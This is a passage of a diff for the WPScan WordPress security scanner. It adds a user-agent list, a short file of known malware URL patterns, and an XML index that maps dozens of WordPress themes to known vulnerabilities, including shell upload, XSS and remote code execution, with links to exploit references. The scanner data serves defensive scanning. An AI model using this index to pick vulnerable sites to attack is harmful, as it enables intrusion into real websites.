// Some user_agents can be found there http://techpatterns.com/downloads/firefox/useragentswitcher.xml (thx to Gianluca Brindisi)
|
||||
"available_user_agents":
|
||||
[
|
||||
// Windows
|
||||
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5",
|
||||
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.27 (KHTML, like Gecko) Chrome/12.0.712.0 Safari/534.27",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1",
|
||||
"Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E)",
|
||||
"Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
|
||||
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1",
|
||||
"Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/12.0",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120427 Firefox/15.0a1",
|
||||
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)",
|
||||
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
|
||||
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0)",
|
||||
"Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00",
|
||||
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5",
|
||||
|
||||
// MAC
|
||||
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.15 Safari/534.13",
|
||||
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
|
||||
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10",
|
||||
|
||||
// Linux
|
||||
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1",
|
||||
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.703.0 Chrome/12.0.703.0 Safari/534.24",
|
||||
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.9) Gecko/20100915 Gentoo Firefox/3.6.9",
|
||||
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20120421 Gecko Firefox/11.0",
|
||||
"Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20100101 Firefox/12.0",
|
||||
"Opera/9.80 (X11; Linux x86_64; U; pl) Presto/2.7.62 Version/11.00",
|
||||
"Mozilla/5.0 (X11; U; Linux x86_64; us; rv:1.9.1.19) Gecko/20110430 shadowfox/7.0 (like Firefox/7.0"
|
||||
]
|
||||
}
|
||||
3
data/malwares.txt
Normal file
3
data/malwares.txt
Normal file
@@ -0,0 +1,3 @@
|
||||
http://.*.rr.nu
|
||||
http://www.thesea.org/media.php
|
||||
|
||||
2241
data/plugin_vulns.xml
Normal file
2241
data/plugin_vulns.xml
Normal file
File diff suppressed because it is too large
Load Diff
2716
data/plugins.txt
Normal file
2716
data/plugins.txt
Normal file
File diff suppressed because it is too large
Load Diff
2447
data/timthumbs.txt
Normal file
2447
data/timthumbs.txt
Normal file
File diff suppressed because it is too large
Load Diff
865
data/wp_theme_vulns.xml
Normal file
865
data/wp_theme_vulns.xml
Normal file
@@ -0,0 +1,865 @@
|
||||
<?xml version="1.0"?>
|
||||
|
||||
<!--
|
||||
WPScan - WordPress Security Scanner
|
||||
Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
This file contains vulnerabilities associated with WordPress themes.
|
||||
TYPE = ["SQLI", "MULTI", "REDIRECT", "RCE", "RFI", "LFI", "UPLOAD", "UNKNOWN", "XSS"]
|
||||
|
||||
-->
|
||||
<themes>
|
||||
<theme name="famous">
|
||||
<vulnerability>
|
||||
<title>WordPress Famous Theme 2.0.5 Shell Upload</title>
|
||||
<reference>http://packetstormsecurity.org/files/113842/</reference>
|
||||
<type>UPLOAD</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="deep-blue">
|
||||
<vulnerability>
|
||||
<title>WordPress Deep-Blue Theme 1.9.2 Arbitrary File Upload Vulnerability</title>
|
||||
<reference>http://packetstormsecurity.org/files/113843/</reference>
|
||||
<type>UPLOAD</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="classipress">
|
||||
<vulnerability>
|
||||
<title>WordPress Classipress Theme <= 3.1.4 Stored XSS</title>
|
||||
<reference>http://www.exploit-db.com/exploits/18053/</reference>
|
||||
<type>XSS</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="merchant">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="smpl">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="drawar">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="sentient">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="whitelight">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="unsigned">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="shelflife">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="olya">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="sliding">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="beveled">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="empire-commerce">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="buro-commerce">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="briefed-commerce">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="wikeasi">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="currents">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="emporium">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="biznizz-commerce">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="kaboodle-commerce">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="inspire-commerce">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="teamster">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="argentum">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="statua-commerce">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="simplicity-commerce">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="canvas-commerce">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="wootique">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="woostore">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="coquette">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="buro">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="swatch">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="announcement">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="empire">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="supportpress">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="editorial">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="statua">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="briefed">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="faultpress">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="kaboodle">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="savinggrace">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="premiere">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="simplicity">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="deliciousmagazine">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="bookclub">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="boldnews">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="placeholder">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="biznizz">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="auld">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="listings">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="elefolio">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="chapters">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="continuum">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="diner">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="skeptical">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="caffeinated">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="crisp">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="sealight">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="estate">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="tma">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="coda">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="inspire">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="apz">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="spectrum">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="diarise">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="boast">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="retreat">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="cityguide">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="canvas">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="postcard">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="delegate">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="mystream">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="optimize">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="backstage">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="bueno">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="digitalfarm">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="headlines">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="therapy">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="rockstar">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="dailyedition">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="object">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="coffeebreak">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="mainstream">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="featurepitch">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="thejournal">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="aperture">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="metamorphosis">
